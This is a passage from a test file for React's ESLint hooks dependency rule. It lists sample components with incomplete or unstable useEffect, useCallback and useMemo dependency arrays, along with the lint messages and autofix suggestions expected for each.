current value of 'increment', ` +\n            `you can also switch to useReducer instead of useState and read 'increment' in the reducer.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [increment]',\n              output: normalizeIndent`\n                function Counter({ increment }) {\n                  let [count, setCount] = useState(0);\n\n                  useEffect(() => {\n                    let id = setInterval(() => {\n                      setCount(count => count + increment);\n                    }, 1000);\n                    return () => clearInterval(id);\n                  }, [increment]);\n\n                  return <h1>{count}</h1>;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Counter() {\n          const [count, setCount] = useState(0);\n\n          function tick() {\n            setCount(count + 1);\n          }\n\n          useEffect(() => {\n            let id = setInterval(() => {\n              tick();\n            }, 1000);\n            return () => clearInterval(id);\n          }, []);\n\n          return <h1>{count}</h1>;\n        }\n      `,\n      // TODO: ideally this should suggest useState updater form\n      // since this code doesn't actually work. The autofix could\n      // at least avoid suggesting 'tick' since it's obviously\n      // always different, and thus useless.\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'tick'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [tick]',\n              output: normalizeIndent`\n                function Counter() {\n                  const [count, setCount] = useState(0);\n\n                  function tick() {\n                    setCount(count + 1);\n                  }\n\n                  useEffect(() => {\n                    let id = setInterval(() => {\n                      tick();\n                    }, 1000);\n                    return () => clearInterval(id);\n                  }, [tick]);\n\n                  return <h1>{count}</h1>;\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Regression test for a crash\n      code: normalizeIndent`\n        function Podcasts() {\n          useEffect(() => {\n            alert(podcasts);\n          }, []);\n          let [podcasts, setPodcasts] = useState(null);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect has a missing dependency: 'podcasts'. ` +\n            `Either include it or remove the dependency array.`,\n          // Note: this autofix is shady because\n          // the variable is used before declaration.\n          // TODO: Maybe we can catch those fixes and not autofix.\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [podcasts]',\n              output: normalizeIndent`\n                function Podcasts() {\n                  useEffect(() => {\n                    alert(podcasts);\n                  }, [podcasts]);\n                  let [podcasts, setPodcasts] = useState(null);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Podcasts({ fetchPodcasts, id }) {\n          let [podcasts, setPodcasts] = useState(null);\n          useEffect(() => {\n            fetchPodcasts(id).then(setPodcasts);\n          }, [id]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect has a missing dependency: 'fetchPodcasts'. ` +\n            `Either include it or remove the dependency array. ` +\n            `If 'fetchPodcasts' changes too often, ` +\n            `find the parent component that defines it and wrap that definition in useCallback.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [fetchPodcasts, id]',\n              output: normalizeIndent`\n                function Podcasts({ fetchPodcasts, id }) {\n                  let [podcasts, setPodcasts] = useState(null);\n                  useEffect(() => {\n                    fetchPodcasts(id).then(setPodcasts);\n                  }, [fetchPodcasts, id]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Podcasts({ api: { fetchPodcasts }, id }) {\n          let [podcasts, setPodcasts] = useState(null);\n          useEffect(() => {\n            fetchPodcasts(id).then(setPodcasts);\n          }, [id]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect has a missing dependency: 'fetchPodcasts'. ` +\n            `Either include it or remove the dependency array. ` +\n            `If 'fetchPodcasts' changes too often, ` +\n            `find the parent component that defines it and wrap that definition in useCallback.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [fetchPodcasts, id]',\n              output: normalizeIndent`\n                function Podcasts({ api: { fetchPodcasts }, id }) {\n                  let [podcasts, setPodcasts] = useState(null);\n                  useEffect(() => {\n                    fetchPodcasts(id).then(setPodcasts);\n                  }, [fetchPodcasts, id]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Podcasts({ fetchPodcasts, fetchPodcasts2, id }) {\n          let [podcasts, setPodcasts] = useState(null);\n          useEffect(() => {\n            setTimeout(() => {\n              console.log(id);\n              fetchPodcasts(id).then(setPodcasts);\n              fetchPodcasts2(id).then(setPodcasts);\n            });\n          }, [id]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect has missing dependencies: 'fetchPodcasts' and 'fetchPodcasts2'. ` +\n            `Either include them or remove the dependency array. ` +\n            `If 'fetchPodcasts' changes too often, ` +\n            `find the parent component that defines it and wrap that definition in useCallback.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [fetchPodcasts, fetchPodcasts2, id]',\n              output: normalizeIndent`\n                function Podcasts({ fetchPodcasts, fetchPodcasts2, id }) {\n                  let [podcasts, setPodcasts] = useState(null);\n                  useEffect(() => {\n                    setTimeout(() => {\n                      console.log(id);\n                      fetchPodcasts(id).then(setPodcasts);\n                      fetchPodcasts2(id).then(setPodcasts);\n                    });\n                  }, [fetchPodcasts, fetchPodcasts2, id]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Podcasts({ fetchPodcasts, id }) {\n          let [podcasts, setPodcasts] = useState(null);\n          useEffect(() => {\n            console.log(fetchPodcasts);\n            fetchPodcasts(id).then(setPodcasts);\n          }, [id]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect has a missing dependency: 'fetchPodcasts'. ` +\n            `Either include it or remove the dependency array. ` +\n            `If 'fetchPodcasts' changes too often, ` +\n            `find the parent component that defines it and wrap that definition in useCallback.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [fetchPodcasts, id]',\n              output: normalizeIndent`\n                function Podcasts({ fetchPodcasts, id }) {\n                  let [podcasts, setPodcasts] = useState(null);\n                  useEffect(() => {\n                    console.log(fetchPodcasts);\n                    fetchPodcasts(id).then(setPodcasts);\n                  }, [fetchPodcasts, id]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Podcasts({ fetchPodcasts, id }) {\n          let [podcasts, setPodcasts] = useState(null);\n          useEffect(() => {\n            console.log(fetchPodcasts);\n            fetchPodcasts?.(id).then(setPodcasts);\n          }, [id]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect has a missing dependency: 'fetchPodcasts'. ` +\n            `Either include it or remove the dependency array. ` +\n            `If 'fetchPodcasts' changes too often, ` +\n            `find the parent component that defines it and wrap that definition in useCallback.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [fetchPodcasts, id]',\n              output: normalizeIndent`\n                function Podcasts({ fetchPodcasts, id }) {\n                  let [podcasts, setPodcasts] = useState(null);\n                  useEffect(() => {\n                    console.log(fetchPodcasts);\n                    fetchPodcasts?.(id).then(setPodcasts);\n                  }, [fetchPodcasts, id]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // The mistake here is that it was moved inside the effect\n      // so it can't be referenced in the deps array.\n      code: normalizeIndent`\n        function Thing() {\n          useEffect(() => {\n            const fetchData = async () => {};\n            fetchData();\n          }, [fetchData]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect has an unnecessary dependency: 'fetchData'. ` +\n            `Either exclude it or remove the dependency array.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function Thing() {\n                  useEffect(() => {\n                    const fetchData = async () => {};\n                    fetchData();\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Hello() {\n          const [state, setState] = useState(0);\n          useEffect(() => {\n            setState({});\n          });\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect contains a call to 'setState'. ` +\n            `Without a list of dependencies, this can lead to an infinite chain of updates. ` +\n            `To fix this, pass [] as a second argument to the useEffect Hook.`,\n          suggestions: [\n            {\n              desc: 'Add dependencies array: []',\n              output: normalizeIndent`\n                function Hello() {\n                  const [state, setState] = useState(0);\n                  useEffect(() => {\n                    setState({});\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Hello() {\n          const [data, setData] = useState(0);\n          useEffect(() => {\n            fetchData.then(setData);\n          });\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect contains a call to 'setData'. ` +\n            `Without a list of dependencies, this can lead to an infinite chain of updates. ` +\n            `To fix this, pass [] as a second argument to the useEffect Hook.`,\n          suggestions: [\n            {\n              desc: 'Add dependencies array: []',\n              output: normalizeIndent`\n                function Hello() {\n                  const [data, setData] = useState(0);\n                  useEffect(() => {\n                    fetchData.then(setData);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Hello({ country }) {\n          const [data, setData] = useState(0);\n          useEffect(() => {\n            fetchData(country).then(setData);\n          });\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect contains a call to 'setData'. ` +\n            `Without a list of dependencies, this can lead to an infinite chain of updates. ` +\n            `To fix this, pass [country] as a second argument to the useEffect Hook.`,\n          suggestions: [\n            {\n              desc: 'Add dependencies array: [country]',\n              output: normalizeIndent`\n                function Hello({ country }) {\n                  const [data, setData] = useState(0);\n                  useEffect(() => {\n                    fetchData(country).then(setData);\n                  }, [country]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Hello({ prop1, prop2 }) {\n          const [state, setState] = useState(0);\n          useEffect(() => {\n            if (prop1) {\n              setState(prop2);\n            }\n          });\n        }\n      `,\n      errors: [\n        {\n          message:\n            `React Hook useEffect contains a call to 'setState'. ` +\n            `Without a list of dependencies, this can lead to an infinite chain of updates. ` +\n            `To fix this, pass [prop1, prop2] as a second argument to the useEffect Hook.`,\n          suggestions: [\n            {\n              desc: 'Add dependencies array: [prop1, prop2]',\n              output: normalizeIndent`\n                function Hello({ prop1, prop2 }) {\n                  const [state, setState] = useState(0);\n                  useEffect(() => {\n                    if (prop1) {\n                      setState(prop2);\n                    }\n                  }, [prop1, prop2]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Thing() {\n          useEffect(async () => {}, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `Effect callbacks are synchronous to prevent race conditions. ` +\n            `Put the async function inside:\\n\\n` +\n            'useEffect(() => {\\n' +\n            '  async function fetchData() {\\n' +\n            '    // You can await here\\n' +\n            '    const response = await MyAPI.getData(someId);\\n' +\n            '    // ...\\n' +\n            '  }\\n' +\n            '  fetchData();\\n' +\n            `}, [someId]); // Or [] if effect doesn't need props or state\\n\\n` +\n            'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Thing() {\n          useEffect(async () => {});\n        }\n      `,\n      errors: [\n        {\n          message:\n            `Effect callbacks are synchronous to prevent race conditions. ` +\n            `Put the async function inside:\\n\\n` +\n            'useEffect(() => {\\n' +\n            '  async function fetchData() {\\n' +\n            '    // You can await here\\n' +\n            '    const response = await MyAPI.getData(someId);\\n' +\n            '    // ...\\n' +\n            '  }\\n' +\n            '  fetchData();\\n' +\n            `}, [someId]); // Or [] if effect doesn't need props or state\\n\\n` +\n            'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Example() {\n          const foo = useCallback(() => {\n            foo();\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has an unnecessary dependency: 'foo'. \" +\n            'Either exclude it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function Example() {\n                  const foo = useCallback(() => {\n                    foo();\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Example({ prop }) {\n          const foo = useCallback(() => {\n            prop.hello(foo);\n          }, [foo]);\n          const bar = useCallback(() => {\n            foo();\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has a missing dependency: 'prop'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [prop]',\n              output: normalizeIndent`\n                function Example({ prop }) {\n                  const foo = useCallback(() => {\n                    prop.hello(foo);\n                  }, [prop]);\n                  const bar = useCallback(() => {\n                    foo();\n                  }, [foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          function myEffect() {\n            console.log(local);\n          }\n          useEffect(myEffect, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  function myEffect() {\n                    console.log(local);\n                  }\n                  useEffect(myEffect, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          const myEffect = () => {\n            console.log(local);\n          };\n          useEffect(myEffect, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  const myEffect = () => {\n                    console.log(local);\n                  };\n                  useEffect(myEffect, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          const myEffect = function() {\n            console.log(local);\n          };\n          useEffect(myEffect, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  const myEffect = function() {\n                    console.log(local);\n                  };\n                  useEffect(myEffect, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          const myEffect = () => {\n            otherThing();\n          };\n          const otherThing = () => {\n            console.log(local);\n          };\n          useEffect(myEffect, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'otherThing'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [otherThing]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  const myEffect = () => {\n                    otherThing();\n                  };\n                  const otherThing = () => {\n                    console.log(local);\n                  };\n                  useEffect(myEffect, [otherThing]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          const myEffect = debounce(() => {\n            console.log(local);\n          }, delay);\n          useEffect(myEffect, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'myEffect'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [myEffect]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  const myEffect = debounce(() => {\n                    console.log(local);\n                  }, delay);\n                  useEffect(myEffect, [myEffect]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          const myEffect = debounce(() => {\n            console.log(local);\n          }, delay);\n          useEffect(myEffect, [local]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'myEffect'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [myEffect]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  const myEffect = debounce(() => {\n                    console.log(local);\n                  }, delay);\n                  useEffect(myEffect, [myEffect]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({myEffect}) {\n          useEffect(myEffect, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect received a function whose dependencies are unknown. Pass an inline function instead.',\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(debounce(() => {\n            console.log(local);\n          }, delay), []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect received a function whose dependencies ' +\n            'are unknown. Pass an inline function instead.',\n          suggestions: [],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n          }, []);\n        }\n      `,\n      // Dangerous autofix is enabled due to the option:\n      output: normalizeIndent`\n        function MyComponent() {\n          const local = {};\n          useEffect(() => {\n            console.log(local);\n          }, [local]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local = {};\n                  useEffect(() => {\n                    console.log(local);\n                  }, [local]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n      // Keep this until major IDEs and VS Code FB ESLint plugin support Suggestions API.\n      options: [{enableDangerousAutofixThisMayCauseInfiniteLoops: true}],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let foo = {}\n          useEffect(() => {\n            foo.bar.baz = 43;\n            props.foo.bar.baz = 1;\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'foo.bar' and 'props.foo.bar'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [foo.bar, props.foo.bar]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  let foo = {}\n                  useEffect(() => {\n                    foo.bar.baz = 43;\n                    props.foo.bar.baz = 1;\n                  }, [foo.bar, props.foo.bar]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = {};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = [];\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' array makes the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = () => {};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' function makes the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the definition of 'foo' in its own \" +\n            'useCallback() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = function bar(){};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' function makes the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the definition of 'foo' in its own \" +\n            'useCallback() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = class {};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' class makes the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = true ? {} : \"fine\";\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' conditional could make the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = bar || {};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' logical expression could make the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = bar ?? {};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' logical expression could make the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = bar && {};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' logical expression could make the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = bar ? baz ? {} : null : null;\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' conditional could make the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          let foo = {};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          var foo = {};\n          useMemo(() => foo, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useMemo Hook (at line 4) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = {};\n          useCallback(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useCallback Hook (at line 6) change on every render. \" +\n            \"Move it inside the useCallback callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = {};\n          useEffect(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useEffect Hook (at line 6) change on every render. \" +\n            \"Move it inside the useEffect callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = {};\n          useLayoutEffect(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useLayoutEffect Hook (at line 6) change on every render. \" +\n            \"Move it inside the useLayoutEffect callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Component() {\n          const foo = {};\n          useImperativeHandle(\n            ref,\n            () => {\n               console.log(foo);\n            },\n            [foo]\n          );\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useImperativeHandle Hook (at line 9) change on every render. \" +\n            \"Move it inside the useImperativeHandle callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo(section) {\n          const foo = section.section_components?.edges ?? [];\n          useEffect(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' logical expression could make the dependencies of useEffect Hook (at line 6) change on every render. \" +\n            \"Move it inside the useEffect callback. Alternatively, wrap the initialization of 'foo' in its own \" +\n            'useMemo() Hook.',\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo(section) {\n          const foo = {};\n          console.log(foo);\n          useMemo(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useMemo Hook (at line 7) change on every render. \" +\n            \"To fix this, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo() {\n          const foo = <>Hi!</>;\n          useMemo(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' JSX fragment makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo() {\n          const foo = <div>Hi!</div>;\n          useMemo(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' JSX element makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo() {\n          const foo = bar = {};\n          useMemo(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' assignment expression makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo() {\n          const foo = new String('foo'); // Note 'foo' will be boxed, and thus an object and thus compared by reference.\n          useMemo(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object construction makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo() {\n          const foo = new Map([]);\n          useMemo(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object construction makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo() {\n          const foo = /reg/;\n          useMemo(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' regular expression makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n\n    {\n      code: normalizeIndent`\n        function Foo() {\n          class Bar {};\n          useMemo(() => {\n            console.log(new Bar());\n          }, [Bar]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'Bar' class makes the dependencies of useMemo Hook (at line 6) change on every render. \" +\n            \"Move it inside the useMemo callback. Alternatively, wrap the initialization of 'Bar' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function Foo() {\n          const foo = {};\n          useLayoutEffect(() => {\n            console.log(foo);\n          }, [foo]);\n          useEffect(() => {\n            console.log(foo);\n          }, [foo]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useLayoutEffect Hook (at line 6) change on every render. \" +\n            \"To fix this, wrap the initialization of 'foo' in its own useMemo() Hook.\",\n          suggestions: undefined,\n        },\n        {\n          message:\n            \"The 'foo' object makes the dependencies of useEffect Hook (at line 9) change on every render. 